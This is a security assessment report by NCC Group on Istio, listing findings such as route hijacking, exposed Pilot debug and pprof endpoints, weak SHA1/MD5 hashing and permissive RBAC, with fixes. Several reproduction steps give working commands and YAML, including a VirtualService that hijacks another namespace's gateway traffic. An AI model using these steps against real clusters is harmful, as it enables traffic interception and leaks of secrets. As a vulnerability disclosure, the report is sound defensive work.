Istio Security Assessment

Google

August 6, 2020 – Version 1.1

Prepared for
Arun Kumar R

Prepared by
Mark Manning
Jeff Dileo
Divya Natesan
Andy Olsen

Feedback on this project?
https://my.nccgroup.com/feedback/67b627f7-a0a2-43b7-ad68-af515a9ed2e0

Executive Summary

Synopsis

In the summer of 2020, Google enlisted NCC Group to perform an assessment on the open-source version of Istio and all of its components. Istio is a modern service mesh technology stack often used within Kubernetes clusters to provide service-to-service communication, manages TLS certificates, provides workload identity, and includes a builtin authorization system facilitated by its control plane. The goal of the assessment was to identify security issues related to the Istio code base, highlight high risk configurations commonly used by administrators, and provide perspective on whether security features sufficiently address the concerns they are designed to provide. Four consultants over a period of five weeks along with the help of multiple shadows (provided at no additional cost) worked on the project in tight partnership with Google's Istio subject matter experts.

Scope

NCC Group's evaluation of Istio included:

- **Istio Architecture**: The overall design and architecture of Istio as it is deployed within common environments such as Kubernetes clusters.
- **Istio Pilot**: The service running within the istiod service that handles service discovery.
- **Istio Ingress/Egress**: Networking controls allowing inbound and outbound access of Istio services.
- **Istio Envoy Usage**: The configuration and implementation of Envoy within Istio (NOTE: Envoy itself was not part of the assessment).
- **Istio Control Plane**: Istio operator, side car injector, and other Istio control plane services
- **Istio Documentation**: The documentation and security guides hosted on istio.io.

NCC Group started the assessment with an overall architecture review which extrapolated areas of focus for subsequent phases of the assessment. A test plan was created which matched areas of code with specific security controls (e.g. service discovery, certificate lifecycle, side car injection) to focus testing efforts. Istio does not currently have a reference design for what an ideal Kubernetes cluster with Istio running within it. Instead, NCC Group used various hosting options (i.e. Minikube, GKE, KOPS) to build reference clusters and test various configurations. These reference architectures were used to provide testers with a way of validating that security expectations in the code were implemented when deployed. Each environment was deployed following Istio Documentation using `istioctl`.

The assessment included many open source components that were actively being updated during testing so testers used the latest release at the time of testing which was 1.6.5 along with specific commits for the code base shown below:

- github.com/istio/istio
  – 7353c84b560fd469123611476314e4aee553611d
- github.com/istio/proxy
  – c51fe751a17441b5ab3f5487c37e129e44eec823
- github.com/istio/istio.io
  – 26dacdde40968a37ba9eaa864d40e45051ec5448

Key Findings

- There was a lack of validation on the VirtualService Gateway fields that could allow route hijacking
- In testing, it did not appear to be possible to secure the control plane either by the `controlPlaneSecurity` configuration directive or other means. This left all default services exposed within the cluster.
- The default istio profile that is labeled for production lacks many hardening controls and should be replaced with a more secure-by-default option.
- The Pilot admin interface exposes unnecessary services and is accessible to anyone within a default cluster.
- The Envoy Proxy admin port is exposed via the Istio sidecar and would allow a malicious workload to override or compromise their own Istio configuration.

Strategic Recommendations

- **Build opinionated profiles for security**: Istio allows a variety of customizations to fit it into different environments, but it's difficult to say which is a hardened, production-ready approach. Having a secured profile with an opinionated cluster configuration will help guide users towards building secured environments.
- **Expand hardening documentation**: While there were a variety of areas where documentation could improve, it may make sense to start with the hardening guidelines first as it will give administrators more confidence that they are building an environment following best practices. Pursuing something formal such as CIS benchmarks is not recommended in this case but a similar approach could be build a self-hosted checklist of features and configuration options that Istio believes match security best practices. See Appendix B on page 40.

Dashboard

Target Metadata

Name	Istio
Type	Kubernetes Service Mesh
Platforms	Golang, Kubernetes
Environment	Local Test Environment

Engagement Data

Type	Architecture Review and Code-Assisted Security Assessment
Method	Code-assisted
Dates	2020-07-06 to 2020-07-31
Consultants	4
Level of Effort	50 person days

Targets

istio/istio	Istio Source code in the master branch up to July 15th, 2020. Commit: 7353c84b560fd4691236114763l4e4aee553611d
istio/proxy	Istio Envoy Proxy code in the master branch up to July 15th, 2020. Commit: c51fe751a17441b5ab3f5487c37e129e44eec823
istio/istio.io	Istio documentation and security guidelines from the master branch up to July 15th, 2020. Commit: 26dacdde40968a37ba9eaa864d40e45051ec5448

Finding Breakdown

Critical issues	0	
High issues	4	🟥🟥🟥🟥
Medium issues	5	🟧🟧🟧🟧🟧
Low issues	7	🟨🟨🟨🟨🟨🟨🟨
Informational issues	2	⬜⬜
Total issues	**18**	

Category Breakdown

Access Controls	7	🟥🟧🟨🟨🟨🟨⬜
Configuration	5	🟥🟧🟨🟨🟨
Cryptography	1	🟧
Data Exposure	3	🟥🟧🟧
Data Validation	2	🟥⬜

Component Breakdown

Istio	10	🟥🟥🟥🟥🟧🟧🟨🟨⬜⬜
Istio Sidecar	3	🟨🟨🟨
Istioctl	2	🟧🟨
Pilot	3	🟧🟧🟨

Key

🟥 Critical 🟥 High 🟧 Medium 🟨 Low ⬜ Informational

Table of Findings

For each finding, NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors. For an explanation of NCC Group's risk rating and finding categorization, see Appendix A on page 38.

Title	ID	Risk
Inability To Secure Control Plane Network Communications	004	High
Lack of Security Related Documentation	016	High
Lack of VirtualService Gateway Field Validation Enables Request Hijacking	017	High
Ingress Gateway Configuration Generation Enables Route Hijacking	023	High
Pilot Debug Interface Exposes Sensitive Information	002	Medium
Default Production Profile Not Sufficiently Hardened	003	Medium
Weak Hash Used for Integrity	009	Medium
Go Trace Profiling Enabled By Default	013	Medium
Permissive Kubernetes RBAC within a Namespace	015	Medium
Default Sidecar Image Not Hardened	001	Low
The Sidecar Does Not Use Apparmor/Seccomp By Default	005	Low
Insecure File Permissions Set	007	Low
Istio Client-Side Bypasses	014	Low
Sidecar Envoy Administrative Interface Exposed To Workload Containers	018	Low
DestinationRules Without CA Certificates Field Do Not Validate Certificates	019	Low
Default Injected Init Container Requires Sensitive Capabilities	021	Low
Execution of System Commands without Validation	008	Informational
Weak Trust Boundary Between Workload Container and Proxy Sidecar	022	Informational

Finding	**Inability To Secure Control Plane Network Communications**
Risk	**High** Impact: High, Exploitability: Medium
Identifier	NCC-GOIST2005-004
Category	Data Exposure
Component	Istio
Location	Istio Control Plane: • `controlPlaneSecurityEnabled` istioctl configuration option • `controlPlaneAuthPolicy` mesh configuration option
Impact	Users trying to prevent the Istio control plane will not be able to even following the current guidance. This leaves services such as Pilot's debug interface exposed to other services in the cluster.

Description

The `controlPlaneSecurityEnabled` feature has recently been refactored and had a storied past. This feature was originally intended to enforce that all communications to and from the control plane be secured by the service mesh, mTLS, and in particular, no plaintext communication should be possible. This feature was enabled by default in Istio 1.4 but in Istio 1.5, it was disabled again with notes that it should be replaced by a DNS-based secure signing method. So the updated change log notes:

> "Despite the naming, in Istio 1.5 when controlPlaneSecurityEnabled is set to false, communication between the control plane will be secure by default."[1]

In the "Default" profile used to represent a production environment, the "controlPlaneAuthPolicy" is set to "NONE" instead of "mTLS":

```
mesh: |-
...
    defaultConfig:
      controlPlaneAuthPolicy: NONE
...
```

In any case, Istio should not have any plaintext endpoints exposed via its control plane and should enforce all network communications use mTLS (or at minimum, TLS) for communications within the `istio-system` namespace / control plane. As mentioned in finding NCC-GOIST2005-002 on page 13, there are debug interfaces exposed that cannot be disabled by Istio, so that even when all the security features are enabled, there does not appear to be a way to restrict a Pod's access to them. Attempts to modify the settings to "controlPlaneAuth Policy: MUTUAL_TLS" did not appear to have any effect on preventing a Pod not managed by Istio from accessing Istio's debug interface.

Reproduction Steps

- Modify the default policy mesh config map for "controlPlaneAuthPolicy: MUTUAL_TLS"
- Create a istio setup with control plane security enabled:

```
istioctl install --set values.global.controlPlaneSecurityEnabled=true
```

- Deploy the customized default policy
- Start a Pod in a namespace that is not managed by Istio

[1] https://istio.io/latest/news/releases/1.5.x/announcing-1.5/upgrade-notes/#control-plane-security

```
kubectl exec -it {YOURPOD} -n {YOURNS} -- curl istiod.istio-system.svc.clus
ter.local:15014/debug
```

- This will return the plaintext debug endpoing of Pilot

Recommendation Enhance documentation to provide specific guidance on handing security within the Istio control plane. If the "controlPlaneSecurityEnabled" does not do anything of meaning, remove it completely. Alternatively, modify the controls such that using this feature does in fact enable security between these services. The current documentation states:

> "In Istio 1.5, this is no longer the recommended or default way to connect the proxies with the control plane; instead, DNS certificates, which can be signed by Kubernetes or Istiod, will be used to connect to Istiod over port 15012."

Documentation wasn't discovered that described the intent of this message but if it does in fact provide network security within the control plane, ensure that users know it exists.

Finding **Lack of Security Related Documentation**

Risk **High** Impact: High, Exploitability: Medium

Identifier NCC-GOIST2005-016

Category Configuration

Component Istio

Location https://istio.io/latest/docs/

Impact WIthout clear documentation, administrators cannot make accurate security decisions and have no way of knowing whether their design adheres with industry best practices.

Description Istio's documentation is rather large but also has some gaps related to recent changes. Some blog posts describe security features that are now deprecated and some security features are not well documented (see finding NCC-GOIST2005-004 on page 5). This is always a challenge especially for community-driven projects but as Istio's complexity grows, there will be growing need to be clear about what security choices are relevant, standards for hardening, and clear direction on which features should work with others to provide the most secure environment.

The gaps in documentation include:

- /docs/ops/best-practices/security/: This section only provides 2 general recommendations. Use namespaces for isolation (a contentious perspective) and configured third party service account tokens instead of using Kubernetes built in tokens. This section should clearly outline what the best practices for a secure, hardened, Istio environment should be.
- /docs/tasks/security/: When comparing latest with the older v1.1 documentation, there currently are 3 security "tasks" versus 12 in the previous versions. This is in-part due to code being deprecated and sections moved around.
- /docs/ops/configuration/security/: This section appears to be designed to provide guidance on security related configuration options but the only options included are how to "Harden Docker Container Images" and "Extending Self-Signed Certificate Lifetime". There's an opportunity to highlight the impact of different securty options and expand on edge cases that may have a security impact such as multi-cluster environments.
- /docs/ops/common-problems/security-issues/: This section has a lot of good information but appears to be designed to provide support to security problems after they happen or guidance on error messages. This is a great goal and should continue to expand upon it. Consider whether this could be expanded to reference other documentation that provides deeper insight.
- /docs/setup/additional-setup/config-profiles/: The configuration profiles provided by `istioctl` simply describe the features enabled or disabled but none of the security implications.

As an example of security documentation that could not easily be found, throughout the assessment, NCC Group could not find clear documentation on the following subjects:

- Security implications of multi-cluster setups
- Transport security expectations of control plane traffic
- Disabling default services exposed in the cluster (i.e. Envoy admin interface, Pilot admin interface)
- Istio hardening best practices

Recommendation At minimum, review the sections highlighted above to determine whether Istio believes that all the necessary documentation is provided. If it is, consider refactoring it or building a new section that consolidates security-related topics to a single page. Right now there are "Security" topics included within Deployment, Configuration, Best Practices, and Common Problems but there are also topics that are security related mixed within other. The goal here should be not to build one single page of every security topic, but provide a single location where the most impactful and likely security questions are answered.

Consider a community push to focus on improving documentation. Many open-source communities have attempted to focus efforts towards less "fun" tasks such as documentation by building social events or incentivizing community support with some token of appreciation. This has historically been a successful way of getting new people involved within the community by assigning them documentation tasks as they are learning how the community works.

As described in finding NCC-GOIST2005-003 on page 14, the Default production profile could be updated or replaced by a hardened version that describes each of the security controls in more detail. See Appendix B on page 40.

Finding **Lack of VirtualService Gateway Field Validation Enables Request Hijacking**

Risk **High** Impact: High, Exploitability: Medium

Identifier NCC-GOIST2005-017

Category Access Controls

Component Istio

Location The `ValidateVirtualService` function defined in `istio/pkg/config/validation/validation.go`

Impact An attacker that is able to create an Istio VirtualService within a Kubernetes cluster can hijack the requests of any other namespace's Istio Gateways if their VirtualService was initially created before other users' legitimate VirtualServices.

Note: During testing, NCC Group observed an instance of a later created VirtualService being able to gain precedence over an earlier created one, but this could not be reproduced.

Description Istio VirtualServices define the sets of traffic routing rules to apply when a host is addressed. They support matching on various criteria including URI paths and header values and support sending traffic to a specific in-cluster destination or returning a redirect. As Istio's VirtualServices are tied to Istio Gateways, they must declare a `gateways` field containing a list of strings identifying the Gateway that the rules should be applied to. One feature of this field is that the string can also specify the namespace of the Gateway that the VirtualService should be applied to using the format `"<namespace>/<name>"`, preventing a need to re-declare essentially the same VirtualService in different namespaces. However, when using this format, no additional validation is performed to ensure that the account creating or updating the VirtualService is authorized to manipulate VirtualServices in the target namespace. Due to this, it is possible for accounts with access to only specific namespaces to surreptitiously intercept the traffic of applications from other namespaces that they do not otherwise have any access to.

Reproduction Steps

1. Configure a cluster per Appendix E on page 49, with a restricted user confined to a `"restrict-test"` namespace per the Istio cluster setup guide[2]
2. Obtain the output of the following command (run with administrative access) and use it below in place of `$GATEWAY`

```
kubectl -n istio-system get service istio-ingressgateway \
  -o jsonpath='{.status.loadBalancer.ingress[0].ip}'
```

3. In a separate namespace, `"test"` with sidecar auto-injection enabled, use an administrative account to `kubectl -n test apply -f` the `samples/bookinfo/platform/kube/bookinfo.yaml` and `samples/bookinfo/networking/bookinfo-gateway.yaml` configurations
4. Using the restricted user, `kubectl -n restrict-test apply -f samples/bookinfo/platform/kube/bookinfo.yaml`
5. Using the restricted user, `kubectl -n restrict-test apply` the following configuration

```
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: evil-bookinfo
spec:
  hosts:
```

[2] https://istio.io/latest/docs/examples/microservices-istio/setup-kubernetes-cluster/

```
- "*"
gateways:
- test/bookinfo-gateway
http:
- match:
  - uri:
      exact: /productpage
  route:
  - destination:
      host: details.restrict-test.svc.cluster.local
      port:
        number: 9080
- match:
  - uri:
      exact: /login
  redirect:
    uri: /
    authority: www.nccgroup.com
```

6. Save the result of the following
7. Run the following command and observe that a normal HTML page is returned

```
curl -v "http://$GATEWAY/productpage"
```

8. Use an administrative account to run the following commands

```
kubectl -n test delete virtualservices.networking.istio.io bookinfo
kubectl -n test apply -f samples/bookinfo/networking/bookinfo-gateway.yaml
```

9. Run the following two commands

```
curl -v "http://$GATEWAY/productpage"
curl -v "http://$GATEWAY/login"
```

10. Observe that the first command now returns a 404 error and the second command returns a redirect to `http://www.nccgroup.com/`.

Recommendation Within the `Webhook.admitPilot()` method in `istio/pkg/webhooks/validation/server/server.go`, modify the call to `Schema.ValidateProto()` — and the definition of the method itself — to forward the `*kubeApiAdmission.AdmissionRequest` parameter, such that the at-issue `ValidateVirtualService` function, and the `validateGatewayNames()` function, can ensure that the provided namespace is one wherein the client could perform the same VirtualService operation (e.g. create, update, delete, etc.).

Finding	**Ingress Gateway Configuration Generation Enables Route Hijacking**
Risk	**High** Impact: High, Exploitability: Medium
Identifier	NCC-GOIST2005-023
Category	Data Validation
Component	Istio
Location	The `PushContext.initGateways` and `PushContext.mergeGateways` methods and the `sortConfigByCreationTime` function within `istio/pilot/pkg/model/push_context.go`

Impact

An attacker that is able to create an Istio Gateway within a Kubernetes cluster can intercept requests for any other namespace's services by using a more specific hostname or if their Gateway was initially created before other users' legitimate Gateways.

Note: The underlying implementation of the at-issue behavior appears to exist within the `proxy` mode of `istio-agent`. This may imply that any Istio sidecar — and, by extension, any Istio control plane client, per finding NCC-GOIST2005-022 on page 36 — would be able to obtain sensitive routing metadata for Gateways and possibly other resources declared in other namespaces. However, due to time constraints, NCC Group was unable to determine if this is the case.

Description

By default, Istio uses a single ingress gateway, `istio-ingressgateway`, in the `istio-system` namespace to handle requests for all namespaces. As a result of this, it is possible for Gateways in different namespaces to declare `servers` lists with colliding settings (e.g. hostname). When such a collision arises, the outcome appears to be based on two things, which host name is more specific and which Gateway was created first. For example, in the event that an earlier-created Gateway includes a host declaration of `"*"`, and an later-created Gateway includes host declarations of `"*.com"` and `"example.com"`, requests for `example.com` and `example2.com` would be handled by the latter-created Gateway, while requests for `example.net` would be handled by the earlier-created Gateway. Due to this behavior, it is possible for accounts otherwise limited to creating resources in specific namespaces to intercept requests for services run from other namespaces, while leveraging the ingress gateway's handling of TLS secrets. It is worth noting that the current behavior runs counter to the Gateway documentation, which states the following:[3]

> *The scope of label search is restricted to the configuration namespace in which the resource is present. In other words, the Gateway resource must reside in the same namespace as the gateway workload instance.*

Such behavior could be configured by setting the `PILOT_SCOPE_GATEWAY_TO_NAMESPACE` environment variable feature setting, which, if enabled, configures the pilot-agent such that *"a gateway workload can only select gateway resources in the same namespace"* and *"Gateways with same selectors in different namespaces will not be applicable"*;[4] however, it is unclear how such a setting would be configured for the `istio-ingressgateway` `pilot-agent` and this would likely break standard Istio configurations from the Istio documentation which rely on a shared istio gateway. This feature is visible in the `PushContext.mergeGateways` method as being used to control whether to select all Gateways or just those from the ingress gateway proxy's own namespace.

[3] https://istio.io/latest/docs/reference/config/networking/gateway/#Gateway
[4] https://istio.io/latest/docs/reference/commands/pilot-agent/

```
func (ps *PushContext) initGateways(env *Environment) error {
  gatewayConfigs, err := env.List(gvk.Gateway, NamespaceAll)
  if err != nil {
    return err
  }

  sortConfigByCreationTime(gatewayConfigs)

  ps.allGateways = gatewayConfigs
  ps.gatewaysByNamespace = make(map[string][]Config)
  for _, gatewayConfig := range gatewayConfigs {
    if _, exists := ps.gatewaysByNamespace[gatewayConfig.Namespace]; !exists {
      ps.gatewaysByNamespace[gatewayConfig.Namespace] = make([]Config, 0)
    }
    ps.gatewaysByNamespace[gatewayConfig.Namespace] =
     ➜  append(ps.gatewaysByNamespace[gatewayConfig.Namespace], gatewayConfig)
  }
  return nil
}

func (ps *PushContext) mergeGateways(proxy *Proxy) *MergedGateway {
  ...
  var configs []Config
  if features.ScopeGatewayToNamespace {
    configs = ps.gatewaysByNamespace[proxy.ConfigNamespace]
  } else {
    configs = ps.allGateways
  }
```

Listing 1: istio/pilot/pkg/model/push_context.go

Recommendation While this issue can likely be remediated by using per-namespace ingress gateways, it is unclear how well supported such a configuration is as current Istio documentation focuses on the use of a single shared `istio-ingressgateway` in the `istio-system` control-plane namespace. As such, the Istio documentation should be updated to include a hardened configuration using per-namespace ingress gateways with `PILOT_SCOPE_GATEWAY_TO_NAMESPACE` enabled — this could also be enabled by default when not in the control plane namespace — and the existing ingress gateway and Istio Gateway documentation should be updated to include warnings about the risks of shared ingress gateways. Furthermore, it may be worthwhile to create an additional resource type for ingress gateways to abstract their configuration and enable future features. This could be used, in combination with a new Gateway resource field, to implement a two-way binding between ingress gateways and Gateway resources across namespaces, to allow only specific namespaces, or Gateways, to configure an ingress gateway, and only if the Gateways were configured to allow the ingress gateway.

Alternatively, or in addition to the above, the implementation of shared ingress gateways should be hardened such that prioritization of hostname matching is based on the creation time of hostnames used by Gateway resources instead of the creation time of the Gateway resources themselves. As it is unclear if such an implementation could be performed using vanilla Kubernetes APIs alone, without some additional caching mechanism to track Gateway creation, it may be worthwhile to create an Istio Hostname resource that can be referenced by Gateways, which would allow for better tracking of hostnames — and hostname collisions — in a Kubernetes cluster. This would also enable hostnames to be more easily protected via Kubernetes' RBAC. Regardless, care should be taken with how canonicalization and prioritization between Hostnames should apply both to ensure a well-documented consistency and to prevent abuse by surreptitious updates of earlier-created hostnames.

Finding	**Pilot Debug Interface Exposes Sensitive Information**
Risk	**Medium** Impact: Low, Exploitability: High
Identifier	NCC-GOIST2005-002
Category	Data Exposure
Component	Pilot
Location	pilot/cmd/pilot-discovery/main.go
Impact	The debug interface provides unauthenticated users with a wide range of information about the Cluster, Istio's configuration, and execution information about running programs. It could be used to target other services or potentially in a DoS attack if a large request is made repeatedly.

Description

Pilot, runs in the "istiod" Deployment within the Istio control plane along with a set of TCP services that it exposes. One of which is the "/debug" API hosted on 15014/TCP by default. This service exposes a web interface that is accessible without authentication to anything that is able to access it's network interface. This means that all workloads from all namespaces within the cluster, adjacent clusters in a multi-cluster setup, and services in adjacent network segments are able to access this endpoint.

When accessed, users are given a variety of options including the ability to dump information about the Cluster such as pods, services, IPs as well as specific Istio configurations such as routing policies, networking rules, and the configuration of the Istio sidecar injected into each workload. As discussed in finding NCC-GOIST2005-013 on page 18, by default, the "profiling" mode is also enabled which runs go trace profiling tools[5] on the pilot binary itself which contains stack, heap, and other process information about Pilot. This has a risk of containing certificates, keys, and secrets used by Pilot at runtime.

This web interface also allows unauthenticated users to force force all Istio objects to sync their current configuration. This in itself is not malicious but could cause a denial-of-service if used repeatedly.

Reproduction Steps

With the reference cluster setup and replacing PODNAME with a Pod that has curl installed, the following displays the debug interface for Pilot

```
kubectl exec -it PODNAME -- curl istiod.istio-system.svc.cluster.local:1501
4/debug
```

Recommendation

Disable this service by default. Debugging should be turned on only when necessary and should not be accessible to unauthenticated users in the cluster. Modify Istio to expose Pilot's debug port variable that allows this feature to be enabled or disabled. Ensure that documentation highlights that this should be disabled in a production environment. See also finding NCC-GOIST2005-013 on page 18.

[5] https://golang.org/pkg/net/http/pprof/

Finding	**Default Production Profile Not Sufficiently Hardened**
Risk	**Medium** Impact: Medium, Exploitability: Medium
Identifier	NCC-GOIST2005-003
Category	Configuration
Component	Istioctl
Location	Istio Default Profiles • istio/istio/manifest/profiles
Impact	The profiles provided by Istio are likely the ones that will end up being deployed into production environments. Without a secured, hardened version, users risk deploying insecure configurations.

Description

In the current version of Istio, the `istioctl` tool is the recommended method for deploying and managing Istio within a Kubernetes cluster. This tool has a few builtin profiles[6]:

- remote: multi-cluster remote control plane setup
- default: default settings of the IstioOperator API
- demo: enables a variety of extra features
- empty: provides a template
- minimal: minimal config to get an operational deployment
- preview: enables experimental features

The "default" profile (used to generate the Kubernetes config shown in Appendix D on page 44) is "recommend for production deployments" per the documentation but lacks basic hardening measures and puts Istio users at risk. This includes:

- Envoy admin port exposed via sidecar (see finding NCC-GOIST2005-002 on the previous page)
- Sidecar image using outdated, unhardened base image (see finding NCC-GOIST2005-005 on page 23)
- Debug interface enabled for istiod (see finding NCC-GOIST2005-002 on the previous page)
- Exposure of Istio control plane services (see finding NCC-GOIST2005-004 on page 5)

This indicates that while the "default" profile demonstrates a working configuration, it does not meet the necessary requirements for production.

Recommendation

Review the recommendations in previous findings referenced above that highlight many of the possible changes that are needed to further lock down the Default profile. Consider providing a hardened profile when possible. Similarly, if other services such as a CNI is necessary to ensure the security of service mesh traffic, consider providing a reference cluster environment that integrates all the necessary features to secure Istio. This could include something like Terraform to deploy a cluster with Callico CNI along with OPA or another dynamic admission controller that can show how Istio can integrate with something like OPA.

[6] https://istio.io/latest/docs/setup/additional-setup/config-profiles/

Finding	**Weak Hash Used for Integrity**
Risk	**Medium** Impact: Medium, Exploitability: Low
Identifier	NCC-GOIST2005-009
Category	Cryptography
Component	Istio

Location

- istio/istio/mixer/adapter/list/list.go#194
- istio/istio/mixer/pkg/runtime/handler/signature.go#80
- istio/istio/mixer/pkg/config/store/fsstore.go#91
- istio/istio/pkg/mcp/creds/pollingWatcher.go#20
- istio/istio/galley/pkg/config/source/kube/inmemory/kubesource.go#20
- istio/istio/mixer/adapter/prometheus/prometheus.go#24
- istio/istio/mixer/pkg/checkcache/keyShape.go

Impact Malicious actors may be able to introduce malicious code or instructions into the cluster.

Description A cryptographic hash is a function which takes a string of bytes and returns a small, fixed-size value. Hash functions guarantee that the same input always results in the same output. When used for security, the most important property of a hash function is that it is impossible for an attacker to produce two inputs which hash to the same value (called a collision). Hashes which don't have this property are considered to be insecure.

Hashes are often used to verify the integrity of the input; for example, to ensure that a downloaded file has the correct content and was not modified or corrupted. If a weak hash is used for this purpose, an attacker could create a malicious file with the same hash as the original. A user or application would not be able to tell the difference between the legitimate and malicious files based on the hash.

The following hash functions are not considered cryptographically secure and should not be used:

- All MD-family hashes (such as MD5)
- SHA1

For more information about the dangers of SHA1 please see https://shattered.io/

Reproduction Steps The following list identifies functions in the Istio project that are using insecure hashing algorithms:

- istio/istio/mixer/adapter/list/list.go (line 193)

```
// determine whether the list has changed since the last fetch
		sha = sha1.Sum(buf)
		if sha == h.latestSHA && h.list != nil {
			// the list hasn't changed since last time
			h.log.Infof("Fetched list is unchanged")
			h.resetPurgeTimer()
			return
		}
```

- istio/istio/mixer/pkg/runtime/handler/signature.go (line 80)

```
if encoded {
        sha := sha1.Sum(buf.Bytes())
        pool.PutBuffer(buf)
        return sha
    }
```

- istio/istio/mixer/pkg/config/store/fsstore.go (line 91)

```
func parseFile(path string, data []byte) []*resource {
        chunks := bytes.Split(data, []byte("\n---\n"))
        resources := make([]*resource, 0, len(chunks))
        for i, chunk := range chunks {
                chunk = bytes.TrimSpace(chunk)
                if len(chunk) == 0 {
                        continue
                }
                r, err := ParseChunk(chunk)
                if err != nil {
                        log.Errorf("Error processing %s[%d]: %v", path, i, err)
                        continue
                }
                if r == nil {
                        continue
                }
                resources = append(resources, &resource{BackEndResource: r, sha:
                 ➜   sha1.Sum(chunk)})
        }
        return resources
}
```

- istio/istio/pkg/mcp/creds/pollingWatcher.go (line 189)

```
// getHashSum is a helper func to calculate sha1 sum.
func getHashSum(file string) ([]byte, error) {
        f, err := os.Open(file)
        if err != nil {
                return nil, err
        }
        defer f.Close()
        r := bufio.NewReader(f)

        h := sha1.New()

        _, err = io.Copy(h, r)
        if err != nil {
                return nil, err
        }

        return h.Sum(nil), nil
}
```

- istio/istio/galley/pkg/config/source/kube/inmemory/kubesource.go (line 309)

```
pos := rt.Position{Filename: name, Line: lineNum}
        return kubeResource{
                schema:   schema,
                sha:      sha1.Sum(yamlChunk),
                resource: rt.ToResource(objMeta, schema, item, &pos),
        }, nil
```

- istio/istio/mixer/adapter/prometheus/prometheus.go (line 24)

```
func computeSha(m proto.Marshaler, log adapter.Logger) [sha1.Size]byte {
    ba, err := m.Marshal()
    if err != nil {
        log.Warningf("Unable to encode %v", err)
    }
    return sha1.Sum(ba)
}
```

- istio/istio/mixer/pkg/checkcache/keyShape.go (line 231)

```
hasher := md5.New()
        // do not expect an error here
        _, _ = buf.WriteTo(hasher)
        pool.PutBuffer(buf)
        result := hasher.Sum(nil)

        return string(result)
```

Recommendation Use a cryptographically secure hash, such as:

- a SHA2-family hash (including SHA256 and SHA512)
- SHA3
- Blake2b

Finding	**Go Trace Profiling Enabled By Default**
Risk	**Medium** Impact: Low, Exploitability: High
Identifier	NCC-GOIST2005-013
Category	Data Exposure
Component	Pilot
Location	Pilot's Istiod service running on port 15014 • http://istiod.istio-system.svc.cluster.local:15014/debug/pprof • /istio/istio/pilot/cmd/pilot-discovery/main.go
Impact	Trace profiling risks providing attackers with information about the processes, memory, and potentially sensitive information about Istio. An attacker with network access to the control plane can obtain unauthenticated access to this information.

Description The Golang trace profiling library used by Pilot provides administrators debug information about Pilot itself including detailed runtime information to allow for process debugging or performance analysis. This also includes potentially sensitive information that should not be accessible to anyone within the cluster. By default this service is enable and is accessible to anyone on the same network segment as the Pilot (istiod) service. This could provide attackers with unauthenticated access to sensitive information such as certificates, keys, names of objects in the clusters, and more that should be protected.

```
goroutine profile: total 380
32 @ 0x4374a0 0x405f77 0x405c3b 0x135de04 0x4674a1
#    0x135de03    k8s.io/client-
 ➜  go/tools/cache.(*controller).Run.func1+0x33    k8s.io/client-
 ➜  go@v0.18.0/tools/cache/controller.go:124
 ➜

32 @ 0x4374a0 0x447663 0x1355d95 0x135561b 0x135ea23 0x1226f5f 0x1226023 0x13549a
 ➜  d 0x1226e0e 0x1226ec1 0x4674a1
#    0x1355d94    k8s.io/client-
 ➜  go/tools/cache.(*Reflector).watchHandler+0x1e4        k8s.io/client-
 ➜  go@v0.18.0/tools/cache/reflector.go:430
 ➜
#    0x135561a    k8s.io/client-
 ➜  go/tools/cache.(*Reflector).ListAndWatch+0xa1a        k8s.io/client-
 ➜  go@v0.18.0/tools/cache/reflector.go:393
 ➜
#    0x135ea22    k8s.io/client-
 ➜  go/tools/cache.(*Reflector).Run.func1+0x32        k8s.io/client-
 ➜  go@v0.18.0/tools/cache/reflector.go:177
 ➜
#    0x1226f5e    k8s.io/apimachinery/pkg/util/wait.BackoffUntil.func1+0x5e
 ➜  k8s.io/apimachinery@v0.18.1/pkg/util/wait/wait.go:155
...
```

Reproduction Steps

- Visit http://istiod.istio-system.svc.cluster.local:15014/debug/pprof
- Click on the various options between cmdline, goroutine, heap, threadcreate, etc.
- To dump the stack of Pilot run visit the `/debug/pprof/goroutine?debug=2` endpoint
- Click on "trace" and download the file provided
- Use `go tool trace {name_of_trace_file_downloaded}` to inspect data within the trace

Recommendation Disable this option completely and allow Istio users to enable it when necessary. This can be done by modifying the following line in Pilot's "main.go" file:

```
        discoveryCmd.PersistentFlags().BoolVar(
         ➜   &serverArgs.ServerOptions.EnableProfiling, "profile", false,
```

As discussed in finding NCC-GOIST2005-002 on page 13, consider disabling the debug interface completely to prevent access to this service.

Finding	**Permissive Kubernetes RBAC within a Namespace**
Risk	**Medium** Impact: Medium, Exploitability: Low
Identifier	NCC-GOIST2005-015
Category	Access Controls
Component	Istio
Location	https://istio.io/latest/docs/examples/microservices-istio/setup-kubernetes-cluster/
Impact	Permissive Kubernetes RBAC Permissions may allow excessive write access within a namespace. If, in the future, a privilege escalation vector is identified for any of the Kubernetes API Groups, escape from a specific namespace is possible.

Description

Istio documentation in the above mentioned Location provides instructions to set up a Kubernetes cluster that has Istio installed with a namespace to use. Each namespace user's permissions is limited by the following Kubernetes Role object which would provide full read-write access to a participant's namespace.

```
{  "kind": "Role",
  "apiVersion": "rbac.authorization.k8s.io/v1beta1",
  "metadata": {
    "name": "${NAMESPACE}-access",
    "namespace": "$NAMESPACE"
  },
  "rules": [{
      "apiGroups": [
        "",
        "extensions",
        "apps",
        "networking.k8s.io",
        "networking.istio.io",
        "authentication.istio.io",
        "rbac.istio.io",
        "config.istio.io"
      ],
      "resources": [ "*" ],
      "verbs": ["*"]
    }
   ]
}
```

These RBAC permissions are very broad and allow all verbs on all resources for several Kubernetes API Groups.

Reproduction Steps

Run `kubectl access-matrix -n <namespace>` and notice the broad Kubernetes RBAC permissions authorized.

Recommendation

Update documentation to suggest a finer grained Kubernetes RBAC Role for read-write access to a participant's namespace.

Finding	**Default Sidecar Image Not Hardened**
Risk	**Low** Impact: Medium, Exploitability: Low
Identifier	NCC-GOIST2005-001
Category	Configuration
Component	Istio Sidecar
Location	/istio/istio/docker/Dockerfile.base
Impact	Providing a default image that includes a variety of debugging tools makes it easier for attackers to escalate their level of access or manipulate Istio configuration options.

Description

The default Sidecar image which is often used to facilitate the service mesh network communications and interact with the Istio control plane, does not use a hardened image by default. The image used is based on Ubuntu 18.04 and as shown below, includes a variety of tools often used for debugging (including `sudo`) which are not necessary for Istio's operations:

```
RUN apt-get update && \
    apt-get install --no-install-recommends -y \
      ca-certificates \
      curl \
      iptables \
      iproute2 \
      iputils-ping \
      knot-dnsutils \
      netcat \
      tcpdump \
      net-tools \
      lsof \
